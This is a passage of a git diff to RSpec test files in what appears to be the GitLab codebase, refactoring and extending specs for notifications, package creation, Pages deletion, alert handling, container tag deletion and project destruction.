project.add_maintainer(u_custom_notification_unset)
project.add_maintainer(u_custom_notification_enabled)
project.add_maintainer(u_custom_notification_disabled)
+ end
+ before do
reset_delivered_emails!
end
@@ -2889,7 +2911,6 @@ RSpec.describe NotificationService, :mailer do
describe 'Repository cleanup', :deliver_mails_inline do
let(:user) { create(:user) }
- let(:project) { create(:project) }
describe '#repository_cleanup_success' do
it 'emails the specified user only' do
@@ -2920,7 +2941,6 @@ RSpec.describe NotificationService, :mailer do
context 'Remote mirror notifications', :deliver_mails_inline do
describe '#remote_mirror_update_failed' do
- let(:project) { create(:project) }
let(:remote_mirror) { create(:remote_mirror, project: project) }
let(:u_blocked) { create(:user, :blocked) }
let(:u_silence) { create_user_with_notification(:disabled, 'silent-maintainer', project) }
@@ -3159,11 +3179,11 @@ RSpec.describe NotificationService, :mailer do
end
def should_email_nested_group_user(user, times: 1, recipients: email_recipients)
- should_email(user, times: 1, recipients: email_recipients)
+ should_email(user, times: times, recipients: recipients)
end
def should_not_email_nested_group_user(user, recipients: email_recipients)
- should_not_email(user, recipients: email_recipients)
+ should_not_email(user, recipients: recipients)
end
def add_users(project)
diff --git a/spec/services/packages/composer/create_package_service_spec.rb b/spec/services/packages/composer/create_package_service_spec.rb
index 3f9da31cf6e..a1fe9a1b918 100644
--- a/spec/services/packages/composer/create_package_service_spec.rb
+++ b/spec/services/packages/composer/create_package_service_spec.rb
@@ -37,12 +37,16 @@ RSpec.describe Packages::Composer::CreatePackageService do
expect(created_package.composer_metadatum.target_sha).to eq branch.target
expect(created_package.composer_metadatum.composer_json.to_json).to eq json
end
+
+ it_behaves_like 'assigns the package creator' do
+ let(:package) { created_package }
+ end
end
context 'with a tag' do
let(:tag) { project.repository.find_tag('v1.2.3') }
- before do
+ before(:all) do
project.repository.add_tag(user, 'v1.2.3', 'master')
end
@@ -54,6 +58,10 @@ RSpec.describe Packages::Composer::CreatePackageService do
expect(created_package.name).to eq package_name
expect(created_package.version).to eq '1.2.3'
end
+
+ it_behaves_like 'assigns the package creator' do
+ let(:package) { created_package }
+ end
end
end
diff --git a/spec/services/packages/conan/create_package_service_spec.rb b/spec/services/packages/conan/create_package_service_spec.rb
index f8068f6e57b..b217e570aba 100644
--- a/spec/services/packages/conan/create_package_service_spec.rb
+++ b/spec/services/packages/conan/create_package_service_spec.rb
@@ -5,9 +5,11 @@ RSpec.describe Packages::Conan::CreatePackageService do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
- subject { described_class.new(project, user, params) }
+ subject(:service) { described_class.new(project, user, params) }
describe '#execute' do
+ subject(:package) { service.execute }
+
context 'valid params' do
let(:params) do
{
@@ -19,8 +21,6 @@ RSpec.describe Packages::Conan::CreatePackageService do
end
it 'creates a new package' do
- package = subject.execute
-
expect(package).to be_valid
expect(package.name).to eq(params[:package_name])
expect(package.version).to eq(params[:package_version])
@@ -28,6 +28,8 @@ RSpec.describe Packages::Conan::CreatePackageService do
expect(package.conan_metadatum.package_username).to eq(params[:package_username])
expect(package.conan_metadatum.package_channel).to eq(params[:package_channel])
end
+
+ it_behaves_like 'assigns the package creator'
end
context 'invalid params' do
@@ -41,7 +43,7 @@ RSpec.describe Packages::Conan::CreatePackageService do
end
it 'fails' do
- expect { subject.execute }.to raise_exception(ActiveRecord::RecordInvalid)
+ expect { package }.to raise_exception(ActiveRecord::RecordInvalid)
end
end
end
diff --git a/spec/services/packages/maven/create_package_service_spec.rb b/spec/services/packages/maven/create_package_service_spec.rb
index bfdf62008ba..7ec368aa00f 100644
--- a/spec/services/packages/maven/create_package_service_spec.rb
+++ b/spec/services/packages/maven/create_package_service_spec.rb
@@ -34,6 +34,8 @@ RSpec.describe Packages::Maven::CreatePackageService do
end
it_behaves_like 'assigns build to package'
+
+ it_behaves_like 'assigns the package creator'
end
context 'without version' do
@@ -57,6 +59,8 @@ RSpec.describe Packages::Maven::CreatePackageService do
expect(package.maven_metadatum.app_name).to eq(app_name)
expect(package.maven_metadatum.app_version).to be nil
end
+
+ it_behaves_like 'assigns the package creator'
end
context 'path is missing' do
diff --git a/spec/services/packages/npm/create_package_service_spec.rb b/spec/services/packages/npm/create_package_service_spec.rb
index c1391746f52..c8431c640da 100644
--- a/spec/services/packages/npm/create_package_service_spec.rb
+++ b/spec/services/packages/npm/create_package_service_spec.rb
@@ -27,6 +27,10 @@ RSpec.describe Packages::Npm::CreatePackageService do
.and change { Packages::Tag.count }.by(1)
end
+ it_behaves_like 'assigns the package creator' do
+ let(:package) { subject }
+ end
+
it { is_expected.to be_valid }
it 'creates a package with name and version' do
@@ -61,6 +65,15 @@ RSpec.describe Packages::Npm::CreatePackageService do
it { expect(subject[:message]).to be 'Package already exists.' }
end
+ context 'file size above maximum limit' do
+ before do
+ params['_attachments']["#{package_name}-#{version}.tgz"]['length'] = project.actual_limits.npm_max_file_size + 1
+ end
+
+ it { expect(subject[:http_status]).to eq 400 }
+ it { expect(subject[:message]).to be 'File is too large.' }
+ end
+
context 'with incorrect namespace' do
let(:package_name) { '@my_other_namespace/my-app' }
diff --git a/spec/services/packages/nuget/create_package_service_spec.rb b/spec/services/packages/nuget/create_package_service_spec.rb
index 1579b42d9ad..e51bc03f311 100644
--- a/spec/services/packages/nuget/create_package_service_spec.rb
+++ b/spec/services/packages/nuget/create_package_service_spec.rb
@@ -9,9 +9,10 @@ RSpec.describe Packages::Nuget::CreatePackageService do
describe '#execute' do
subject { described_class.new(project, user, params).execute }
+ let(:package) { Packages::Package.last }
+
it 'creates the package' do
expect { subject }.to change { Packages::Package.count }.by(1)
- package = Packages::Package.last
expect(package).to be_valid
expect(package.name).to eq(Packages::Nuget::CreatePackageService::TEMPORARY_PACKAGE_NAME)
@@ -23,12 +24,12 @@ RSpec.describe Packages::Nuget::CreatePackageService do
expect { subject }.to change { Packages::Package.count }.by(1)
expect { described_class.new(project, user, params).execute }.to change { Packages::Package.count }.by(1)
- package = Packages::Package.last
-
expect(package).to be_valid
expect(package.name).to eq(Packages::Nuget::CreatePackageService::TEMPORARY_PACKAGE_NAME)
expect(package.version).to start_with(Packages::Nuget::CreatePackageService::PACKAGE_VERSION)
expect(package.package_type).to eq('nuget')
end
+
+ it_behaves_like 'assigns the package creator'
end
end
diff --git a/spec/services/packages/pypi/create_package_service_spec.rb b/spec/services/packages/pypi/create_package_service_spec.rb
index bfecb32f9ef..c985c1e54ea 100644
--- a/spec/services/packages/pypi/create_package_service_spec.rb
+++ b/spec/services/packages/pypi/create_package_service_spec.rb
@@ -6,12 +6,14 @@ RSpec.describe Packages::Pypi::CreatePackageService do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
- let_it_be(:params) do
+
+ let(:requires_python) { '>=2.7' }
+ let(:params) do
{
name: 'foo',
version: '1.0',
content: temp_file('foo.tgz'),
- requires_python: '>=2.7',
+ requires_python: requires_python,
sha256_digest: '123',
md5_digest: '567'
}
@@ -37,6 +39,18 @@ RSpec.describe Packages::Pypi::CreatePackageService do
end
end
+ context 'with an invalid metadata' do
+ let(:requires_python) { 'x' * 256 }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActiveRecord::RecordInvalid)
+ end
+ end
+
+ it_behaves_like 'assigns the package creator' do
+ let(:package) { created_package }
+ end
+
context 'with an existing package' do
before do
described_class.new(project, user, params).execute
diff --git a/spec/services/pages/delete_services_spec.rb b/spec/services/pages/delete_services_spec.rb
index f6d4694b4dd..440549020a2 100644
--- a/spec/services/pages/delete_services_spec.rb
+++ b/spec/services/pages/delete_services_spec.rb
@@ -3,25 +3,35 @@
require 'spec_helper'
RSpec.describe Pages::DeleteService do
- let_it_be(:project) { create(:project, path: "my.project")}
- let_it_be(:admin) { create(:admin) }
- let_it_be(:domain) { create(:pages_domain, project: project) }
- let_it_be(:service) { described_class.new(project, admin)}
+ shared_examples 'remove pages' do
+ let_it_be(:project) { create(:project, path: "my.project")}
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:domain) { create(:pages_domain, project: project) }
+ let_it_be(:service) { described_class.new(project, admin)}
- it 'deletes published pages' do
- expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project).and_return true
- expect(PagesWorker).to receive(:perform_in).with(5.minutes, :remove, project.namespace.full_path, anything)
+ it 'deletes published pages' do
+ expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project).and_return true
+ expect(PagesWorker).to receive(:perform_in).with(5.minutes, :remove, project.namespace.full_path, anything)
- service.execute
+ Sidekiq::Testing.inline! { service.execute }
- expect(project.reload.pages_metadatum.deployed?).to be(false)
- end
+ expect(project.reload.pages_metadatum.deployed?).to be(false)
+ end
+
+ it 'deletes all domains' do
+ expect(project.pages_domains.count).to be 1
- it 'deletes all domains' do
- expect(project.pages_domains.count).to be 1
+ Sidekiq::Testing.inline! { service.execute }
+
+ expect(project.reload.pages_domains.count).to be 0
+ end
+ end
- service.execute
+ context 'with feature flag enabled' do
+ before do
+ expect(PagesRemoveWorker).to receive(:perform_async).and_call_original
+ end
- expect(project.reload.pages_domains.count).to be 0
+ it_behaves_like 'remove pages'
end
end
diff --git a/spec/services/product_analytics/build_activity_graph_service_spec.rb b/spec/services/product_analytics/build_activity_graph_service_spec.rb
new file mode 100644
index 00000000000..e303656da34
--- /dev/null
+++ b/spec/services/product_analytics/build_activity_graph_service_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ProductAnalytics::BuildActivityGraphService do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:time_now) { Time.zone.now }
+ let_it_be(:time_ago) { Time.zone.now - 5.days }
+
+ let_it_be(:events) do
+ [
+ create(:product_analytics_event, project: project, collector_tstamp: time_now),
+ create(:product_analytics_event, project: project, collector_tstamp: time_now),
+ create(:product_analytics_event, project: project, collector_tstamp: time_now),
+ create(:product_analytics_event, project: project, collector_tstamp: time_ago),
+ create(:product_analytics_event, project: project, collector_tstamp: time_ago)
+ ]
+ end
+
+ let(:params) { { timerange: 7 } }
+
+ subject { described_class.new(project, params).execute }
+
+ it 'returns a valid graph hash' do
+ expected_hash = {
+ id: 'collector_tstamp',
+ keys: [time_ago.to_date, time_now.to_date],
+ values: [2, 3]
+ }
+
+ expect(subject).to eq(expected_hash)
+ end
+end
diff --git a/spec/services/projects/after_rename_service_spec.rb b/spec/services/projects/after_rename_service_spec.rb
index 52136b37c66..f03e1ed0e22 100644
--- a/spec/services/projects/after_rename_service_spec.rb
+++ b/spec/services/projects/after_rename_service_spec.rb
@@ -22,7 +22,6 @@ RSpec.describe Projects::AfterRenameService do
# call. This makes testing a bit easier.
allow(project).to receive(:gitlab_shell).and_return(gitlab_shell)
- stub_feature_flags(skip_hashed_storage_upgrade: false)
stub_application_setting(hashed_storage_enabled: false)
end
@@ -62,13 +61,28 @@ RSpec.describe Projects::AfterRenameService do
context 'gitlab pages' do
before do
- expect(project_storage).to receive(:rename_repo) { true }
+ allow(project_storage).to receive(:rename_repo) { true }
end
- it 'moves pages folder to new location' do
- expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project)
+ context 'when the project has pages deployed' do
+ it 'schedules a move of the pages directory' do
+ allow(project).to receive(:pages_deployed?).and_return(true)
- service_execute
+ expect(PagesTransferWorker).to receive(:perform_async).with('rename_project', anything)
+
+ service_execute
+ end
+ end
+
+ context 'when the project does not have pages deployed' do
+ it 'does nothing with the pages directory' do
+ allow(project).to receive(:pages_deployed?).and_return(false)
+
+ expect(PagesTransferWorker).not_to receive(:perform_async)
+ expect(Gitlab::PagesTransfer).not_to receive(:new)
+
+ service_execute
+ end
end
end
@@ -126,7 +140,6 @@ RSpec.describe Projects::AfterRenameService do
# call. This makes testing a bit easier.
allow(project).to receive(:gitlab_shell).and_return(gitlab_shell)
- stub_feature_flags(skip_hashed_storage_upgrade: false)
stub_application_setting(hashed_storage_enabled: true)
end
@@ -160,10 +173,25 @@ RSpec.describe Projects::AfterRenameService do
end
context 'gitlab pages' do
- it 'moves pages folder to new location' do
- expect_any_instance_of(Gitlab::PagesTransfer).to receive(:rename_project)
+ context 'when the project has pages deployed' do
+ it 'schedules a move of the pages directory' do
+ allow(project).to receive(:pages_deployed?).and_return(true)
- service_execute
+ expect(PagesTransferWorker).to receive(:perform_async).with('rename_project', anything)
+
+ service_execute
+ end
+ end
+
+ context 'when the project does not have pages deployed' do
+ it 'does nothing with the pages directory' do
+ allow(project).to receive(:pages_deployed?).and_return(false)
+
+ expect(PagesTransferWorker).not_to receive(:perform_async)
+ expect(Gitlab::PagesTransfer).not_to receive(:new)
+
+ service_execute
+ end
end
end
diff --git a/spec/services/projects/alerting/notify_service_spec.rb b/spec/services/projects/alerting/notify_service_spec.rb
index 3e74a15c3c0..77a0e330109 100644
--- a/spec/services/projects/alerting/notify_service_spec.rb
+++ b/spec/services/projects/alerting/notify_service_spec.rb
@@ -3,67 +3,32 @@
require 'spec_helper'
RSpec.describe Projects::Alerting::NotifyService do
- let_it_be(:project, reload: true) { create(:project) }
+ let_it_be_with_reload(:project) { create(:project, :repository) }
before do
- # We use `let_it_be(:project)` so we make sure to clear caches
- project.clear_memoization(:licensed_feature_available)
allow(ProjectServiceWorker).to receive(:perform_async)
end
- shared_examples 'processes incident issues' do
- let(:create_incident_service) { spy }
-
- before do
- allow_any_instance_of(AlertManagement::Alert).to receive(:execute_services)
- end
-
- it 'processes issues' do
- expect(IncidentManagement::ProcessAlertWorker)
- .to receive(:perform_async)
- .with(nil, nil, kind_of(Integer))
- .once
-
- Sidekiq::Testing.inline! do
- expect(subject).to be_success
- end
- end
- end
-
- shared_examples 'does not process incident issues' do
- it 'does not process issues' do
- expect(IncidentManagement::ProcessAlertWorker)
- .not_to receive(:perform_async)
-
- expect(subject).to be_success
- end
- end
-
- shared_examples 'does not process incident issues due to error' do |http_status:|
- it 'does not process issues' do
- expect(IncidentManagement::ProcessAlertWorker)
- .not_to receive(:perform_async)
-
- expect(subject).to be_error
- expect(subject.http_status).to eq(http_status)
- end
- end
-
describe '#execute' do
let(:token) { 'invalid-token' }
let(:starts_at) { Time.current.change(usec: 0) }
let(:fingerprint) { 'testing' }
let(:service) { described_class.new(project, nil, payload) }
+ let_it_be(:environment) { create(:environment, project: project) }
+ let(:environment) { create(:environment, project: project) }
+ let(:ended_at) { nil }
let(:payload_raw) do
{
title: 'alert title',
start_time: starts_at.rfc3339,
+ end_time: ended_at&.rfc3339,
severity: 'low',
monitoring_tool: 'GitLab RSpec',
service: 'GitLab Test Suite',
description: 'Very detailed description',
hosts: ['1.1.1.1', '2.2.2.2'],
- fingerprint: fingerprint
+ fingerprint: fingerprint,
+ gitlab_environment_name: environment.name
}.with_indifferent_access
end
@@ -72,13 +37,14 @@ RSpec.describe Projects::Alerting::NotifyService do
subject { service.execute(token) }
context 'with activated Alerts Service' do
- let!(:alerts_service) { create(:alerts_service, project: project) }
+ let_it_be_with_reload(:alerts_service) { create(:alerts_service, project: project) }
context 'with valid token' do
let(:token) { alerts_service.token }
- let(:incident_management_setting) { double(send_email?: email_enabled, create_issue?: issue_enabled) }
+ let(:incident_management_setting) { double(send_email?: email_enabled, create_issue?: issue_enabled, auto_close_incident?: auto_close_enabled) }
let(:email_enabled) { false }
let(:issue_enabled) { false }
+ let(:auto_close_enabled) { false }
before do
allow(service)
@@ -105,9 +71,9 @@ RSpec.describe Projects::Alerting::NotifyService do
monitoring_tool: payload_raw.fetch(:monitoring_tool),
service: payload_raw.fetch(:service),
fingerprint: Digest::SHA1.hexdigest(fingerprint),
+ environment_id: environment.id,
ended_at: nil,
- prometheus_alert_id: nil,
- environment_id: nil
+ prometheus_alert_id: nil
)
end
end
@@ -121,12 +87,67 @@ RSpec.describe Projects::Alerting::NotifyService do
it_behaves_like 'creates an alert management alert'
it_behaves_like 'assigns the alert properties'
+ it 'creates a system note corresponding to alert creation' do
+ expect { subject }.to change(Note, :count).by(1)
+ end
+
context 'existing alert with same fingerprint' do
let(:fingerprint_sha) { Digest::SHA1.hexdigest(fingerprint) }
let!(:alert) { create(:alert_management_alert, project: project, fingerprint: fingerprint_sha) }
it_behaves_like 'adds an alert management alert event'
+ context 'end time given' do
+ let(:ended_at) { Time.current.change(nsec: 0) }
+
+ it 'does not resolve the alert' do
+ expect { subject }.not_to change { alert.reload.status }
+ end
+
+ it 'does not set the ended at' do
+ subject
+
+ expect(alert.reload.ended_at).to be_nil
+ end
+
+ it_behaves_like 'does not an create alert management alert'
+
+ context 'auto_close_enabled setting enabled' do
+ let(:auto_close_enabled) { true }
+
+ it 'resolves the alert and sets the end time', :aggregate_failures do
+ subject
+ alert.reload
+
+ expect(alert.resolved?).to eq(true)
+ expect(alert.ended_at).to eql(ended_at)
+ end
+
+ context 'related issue exists' do
+ let(:alert) { create(:alert_management_alert, :with_issue, project: project, fingerprint: fingerprint_sha) }
+ let(:issue) { alert.issue }
+
+ context 'state_tracking is enabled' do
+ before do
+ stub_feature_flags(track_resource_state_change_events: true)
+ end
+
+ it { expect { subject }.to change { issue.reload.state }.from('opened').to('closed') }
+ it { expect { subject }.to change(ResourceStateEvent, :count).by(1) }
+ end
+
+ context 'state_tracking is disabled' do
+ before do
+ stub_feature_flags(track_resource_state_change_events: false)
+ end
+
+ it { expect { subject }.to change { issue.reload.state }.from('opened').to('closed') }
+ it { expect { subject }.to change(Note, :count).by(1) }
+ end
+ end
+ end
+ end
+
context 'existing alert is resolved' do
let!(:alert) { create(:alert_management_alert, :resolved, project: project, fingerprint: fingerprint_sha) }
@@ -148,6 +169,13 @@ RSpec.describe Projects::Alerting::NotifyService do
end
end
+ context 'end time given' do
+ let(:ended_at) { Time.current }
+
+ it_behaves_like 'creates an alert management alert'
+ it_behaves_like 'assigns the alert properties'
+ end
+
context 'with a minimal payload' do
let(:payload_raw) do
{
@@ -183,6 +211,18 @@ RSpec.describe Projects::Alerting::NotifyService do
end
end
+ context 'with overlong payload' do
+ let(:payload_raw) do
+ {
+ title: 'a' * Gitlab::Utils::DeepSize::DEFAULT_MAX_SIZE,
+ start_time: starts_at.rfc3339
+ }
+ end
+
+ it_behaves_like 'does not process incident issues due to error', http_status: :bad_request
+ it_behaves_like 'does not an create alert management alert'
+ end
+
it_behaves_like 'does not process incident issues'
context 'issue enabled' do
@@ -230,7 +270,9 @@ RSpec.describe Projects::Alerting::NotifyService do
end
context 'with deactivated Alerts Service' do
- let!(:alerts_service) { create(:alerts_service, :inactive, project: project) }
+ before do
+ alerts_service.update!(active: false)
+ end
it_behaves_like 'does not process incident issues due to error', http_status: :forbidden
it_behaves_like 'does not an create alert management alert'
diff --git a/spec/services/projects/container_repository/delete_tags_service_spec.rb b/spec/services/projects/container_repository/delete_tags_service_spec.rb
index 3014ccbd7ba..5116427dad2 100644
--- a/spec/services/projects/container_repository/delete_tags_service_spec.rb
+++ b/spec/services/projects/container_repository/delete_tags_service_spec.rb
@@ -90,6 +90,10 @@ RSpec.describe Projects::ContainerRepository::DeleteTagsService do
subject { service.execute(repository) }
+ before do
+ stub_feature_flags(container_registry_expiration_policies_throttling: false)
+ end
+
context 'without permissions' do
it { is_expected.to include(status: :error) }
end
@@ -119,6 +123,18 @@ RSpec.describe Projects::ContainerRepository::DeleteTagsService do
it_behaves_like 'logging a success response'
end
+
+ context 'with a timeout error' do
+ before do
+ expect_next_instance_of(::Projects::ContainerRepository::Gitlab::DeleteTagsService) do |delete_service|
+ expect(delete_service).to receive(:delete_tags).and_raise(::Projects::ContainerRepository::Gitlab::DeleteTagsService::TimeoutError)
+ end
+ end
+
+ it { is_expected.to include(status: :error, message: 'timeout while deleting tags') }
+
+ it_behaves_like 'logging an error response', message: 'timeout while deleting tags'
+ end
end
context 'and the feature is disabled' do
diff --git a/spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb b/spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb
index 68c232e5d83..3bbcec8775e 100644
--- a/spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb
+++ b/spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb
@@ -12,13 +12,21 @@ RSpec.describe Projects::ContainerRepository::Gitlab::DeleteTagsService do
subject { service.execute }
- context 'with tags to delete' do
+ before do
+ stub_feature_flags(container_registry_expiration_policies_throttling: false)
+ end
+
+ RSpec.shared_examples 'deleting tags' do
it 'deletes the tags by name' do
stub_delete_reference_requests(tags)
expect_delete_tag_by_names(tags)
is_expected.to eq(status: :success, deleted: tags)
end
+ end
+
+ context 'with tags to delete' do
+ it_behaves_like 'deleting tags'
it 'succeeds when tag delete returns 404' do
stub_delete_reference_requests('A' => 200, 'Ba' => 404)
@@ -41,6 +49,47 @@ RSpec.describe Projects::ContainerRepository::Gitlab::DeleteTagsService do
it { is_expected.to eq(status: :error, message: 'could not delete tags') }
end
end
+
+ context 'with throttling enabled' do
+ let(:timeout) { 10 }
+
+ before do
+ stub_feature_flags(container_registry_expiration_policies_throttling: true)
+ stub_application_setting(container_registry_delete_tags_service_timeout: timeout)
+ end
+
+ it_behaves_like 'deleting tags'
+
+ context 'with timeout' do
+ context 'set to a valid value' do
+ before do
+ allow(Time.zone).to receive(:now).and_return(10, 15, 25) # third call to Time.zone.now will be triggering the timeout
+ stub_delete_reference_requests('A' => 200)
+ end
+
+ it { is_expected.to include(status: :error, message: 'timeout while deleting tags') }
+
+ it 'tracks the exception' do
+ expect(::Gitlab::ErrorTracking)
+ .to receive(:track_exception).with(::Projects::ContainerRepository::Gitlab::DeleteTagsService::TimeoutError, tags_count: tags.size, container_repository_id: repository.id)
+
+ subject
+ end
+ end
+
+ context 'set to 0' do
+ let(:timeout) { 0 }
+
+ it_behaves_like 'deleting tags'
+ end
+
+ context 'set to nil' do
+ let(:timeout) { nil }
+
+ it_behaves_like 'deleting tags'
+ end
+ end
+ end
end
context 'with empty tags' do
diff --git a/spec/services/projects/destroy_service_spec.rb b/spec/services/projects/destroy_service_spec.rb
index 56b19c33ece..a3711c9e17f 100644
--- a/spec/services/projects/destroy_service_spec.rb
+++ b/spec/services/projects/destroy_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::DestroyService do
+RSpec.describe Projects::DestroyService, :aggregate_failures do
include ProjectForksHelper
let_it_be(:user) { create(:user) }
@@ -60,317 +60,353 @@ RSpec.describe Projects::DestroyService do
end
end
- it_behaves_like 'deleting the project'
-
- it 'invalidates personal_project_count cache' do
- expect(user).to receive(:invalidate_personal_projects_count)
-
- destroy_project(project, user, {})
- end
-
- context 'when project has remote mirrors' do
- let!(:project) do
- create(:project, :repository, namespace: user.namespace).tap do |project|
- project.remote_mirrors.create(url: 'http://test.com')
- end
- end
+ shared_examples 'project destroy' do
+ it_behaves_like 'deleting the project'
- it 'destroys them' do
- expect(RemoteMirror.count).to eq(1)
+ it 'invalidates personal_project_count cache' do
+ expect(user).to receive(:invalidate_personal_projects_count)
destroy_project(project, user, {})
-
- expect(RemoteMirror.count).to eq(0)
end
- end
- context 'when project has exports' do
- let!(:project_with_export) do
- create(:project, :repository, namespace: user.namespace).tap do |project|
- create(:import_export_upload,
- project: project,
- export_file: fixture_file_upload('spec/fixtures/project_export.tar.gz'))
+ context 'when project has remote mirrors' do
+ let!(:project) do
+ create(:project, :repository, namespace: user.namespace).tap do |project|
+ project.remote_mirrors.create(url: 'http://test.com')
+ end
end
- end
- it 'destroys project and export' do
- expect do
- destroy_project(project_with_export, user, {})
- end.to change(ImportExportUpload, :count).by(-1)
+ it 'destroys them' do
+ expect(RemoteMirror.count).to eq(1)
- expect(Project.all).not_to include(project_with_export)
- end
- end
+ destroy_project(project, user, {})
- context 'Sidekiq fake' do
- before do
- # Dont run sidekiq to check if renamed repository exists
- Sidekiq::Testing.fake! { destroy_project(project, user, {}) }
+ expect(RemoteMirror.count).to eq(0)
+ end
end
- it { expect(Project.all).not_to include(project) }
-
- it do
- expect(project.gitlab_shell.repository_exists?(project.repository_storage, path + '.git')).to be_falsey
- end
+ context 'when project has exports' do
+ let!(:project_with_export) do
+ create(:project, :repository, namespace: user.namespace).tap do |project|
+ create(:import_export_upload,
+ project: project,
+ export_file: fixture_file_upload('spec/fixtures/project_export.tar.gz'))
+ end
+ end
- it do
- expect(project.gitlab_shell.repository_exists?(project.repository_storage, remove_path + '.git')).to be_truthy
- end
- end
+ it 'destroys project and export' do
+ expect do
+ destroy_project(project_with_export, user, {})
+ end.to change(ImportExportUpload, :count).by(-1)
- context 'when flushing caches fail due to Git errors' do
- before do
- allow(project.repository).to receive(:before_delete).and_raise(::Gitlab::Git::CommandError)
- allow(Gitlab::GitLogger).to receive(:warn).with(
- class: Repositories::DestroyService.name,
- container_id: project.id,
- disk_path: project.disk_path,
- message: 'Gitlab::Git::CommandError').and_call_original
+ expect(Project.all).not_to include(project_with_export)
+ end
end
- it_behaves_like 'deleting the project'
- end
+ context 'Sidekiq fake' do
+ before do
+ # Dont run sidekiq to check if renamed repository exists
+ Sidekiq::Testing.fake! { destroy_project(project, user, {}) }
+ end
- context 'when flushing caches fail due to Redis' do
- before do
- new_user = create(:user)
- project.team.add_user(new_user, Gitlab::Access::DEVELOPER)
- allow_any_instance_of(described_class).to receive(:flush_caches).and_raise(::Redis::CannotConnectError)
- end
+ it { expect(Project.all).not_to include(project) }
- it 'keeps project team intact upon an error' do
- perform_enqueued_jobs do
- destroy_project(project, user, {})
- rescue ::Redis::CannotConnectError
+ it do
+ expect(project.gitlab_shell.repository_exists?(project.repository_storage, path + '.git')).to be_falsey
end
- expect(project.team.members.count).to eq 2
+ it do
+ expect(project.gitlab_shell.repository_exists?(project.repository_storage, remove_path + '.git')).to be_truthy
+ end
end
- end
- context 'with async_execute', :sidekiq_inline do
- let(:async) { true }
-
- context 'async delete of project with private issue visibility' do
+ context 'when flushing caches fail due to Git errors' do
before do
- project.project_feature.update_attribute("issues_access_level", ProjectFeature::PRIVATE)
+ allow(project.repository).to receive(:before_delete).and_raise(::Gitlab::Git::CommandError)
+ allow(Gitlab::GitLogger).to receive(:warn).with(
+ class: Repositories::DestroyService.name,
+ container_id: project.id,
+ disk_path: project.disk_path,
+ message: 'Gitlab::Git::CommandError').and_call_original
end
it_behaves_like 'deleting the project'
end
- it_behaves_like 'deleting the project with pipeline and build'
+ context 'when flushing caches fail due to Redis' do
+ before do
+ new_user = create(:user)
+ project.team.add_user(new_user, Gitlab::Access::DEVELOPER)
+ allow_any_instance_of(described_class).to receive(:flush_caches).and_raise(::Redis::CannotConnectError)
+ end
- context 'errors' do
- context 'when `remove_legacy_registry_tags` fails' do
- before do
- expect_any_instance_of(described_class)
- .to receive(:remove_legacy_registry_tags).and_return(false)
+ it 'keeps project team intact upon an error' do
+ perform_enqueued_jobs do
+ destroy_project(project, user, {})
+ rescue ::Redis::CannotConnectError
end
- it_behaves_like 'handles errors thrown during async destroy', "Failed to remove some tags"
+ expect(project.team.members.count).to eq 2
end
+ end
+
+ context 'with async_execute', :sidekiq_inline do
+ let(:async) { true }
- context 'when `remove_repository` fails' do
+ context 'async delete of project with private issue visibility' do
before do
- expect_any_instance_of(described_class)
- .to receive(:remove_repository).and_return(false)
+ project.project_feature.update_attribute("issues_access_level", ProjectFeature::PRIVATE)
end
- it_behaves_like 'handles errors thrown during async destroy', "Failed to remove project repository"
+ it_behaves_like 'deleting the project'
end
- context 'when `execute` raises expected error' do
- before do
- expect_any_instance_of(Project)
- .to receive(:destroy!).and_raise(StandardError.new("Other error message"))
+ it_behaves_like 'deleting the project with pipeline and build'
+
+ context 'errors' do
+ context 'when `remove_legacy_registry_tags` fails' do
+ before do
+ expect_any_instance_of(described_class)
+ .to receive(:remove_legacy_registry_tags).and_return(false)
+ end
+
+ it_behaves_like 'handles errors thrown during async destroy', "Failed to remove some tags"
end
- it_behaves_like 'handles errors thrown during async destroy', "Other error message"
- end
+ context 'when `remove_repository` fails' do
+ before do
+ expect_any_instance_of(described_class)
+ .to receive(:remove_repository).and_return(false)
+ end
- context 'when `execute` raises unexpected error' do
- before do
- expect_any_instance_of(Project)
- .to receive(:destroy!).and_raise(Exception.new('Other error message'))
+ it_behaves_like 'handles errors thrown during async destroy', "Failed to remove project repository"
end
- it 'allows error to bubble up and rolls back project deletion' do
- expect do
- destroy_project(project, user, {})
- end.to raise_error(Exception, 'Other error message')
+ context 'when `execute` raises expected error' do
+ before do
+ expect_any_instance_of(Project)
+ .to receive(:destroy!).and_raise(StandardError.new("Other error message"))
+ end
- expect(project.reload.pending_delete).to be(false)
- expect(project.delete_error).to include("Other error message")
+ it_behaves_like 'handles errors thrown during async destroy', "Other error message"
end
- end
- end
- end
- describe 'container registry' do
- context 'when there are regular container repositories' do
- let(:container_repository) { create(:container_repository) }
+ context 'when `execute` raises unexpected error' do
+ before do
+ expect_any_instance_of(Project)
+ .to receive(:destroy!).and_raise(Exception.new('Other error message'))
+ end
- before do
- stub_container_registry_tags(repository: project.full_path + '/image',
- tags: ['tag'])
- project.container_repositories << container_repository
+ it 'allows error to bubble up and rolls back project deletion' do
+ expect do
+ destroy_project(project, user, {})
+ end.to raise_error(Exception, 'Other error message')
+
+ expect(project.reload.pending_delete).to be(false)
+ expect(project.delete_error).to include("Other error message")
+ end
+ end
end
+ end
- context 'when image repository deletion succeeds' do
- it 'removes tags' do
- expect_any_instance_of(ContainerRepository)
- .to receive(:delete_tags!).and_return(true)
+ describe 'container registry' do
+ context 'when there are regular container repositories' do
+ let(:container_repository) { create(:container_repository) }
- destroy_project(project, user)
+ before do
+ stub_container_registry_tags(repository: project.full_path + '/image',
+ tags: ['tag'])
+ project.container_repositories << container_repository
end
- end
- context 'when image repository deletion fails' do
- it 'raises an exception' do
- expect_any_instance_of(ContainerRepository)
- .to receive(:delete_tags!).and_raise(RuntimeError)
+ context 'when image repository deletion succeeds' do
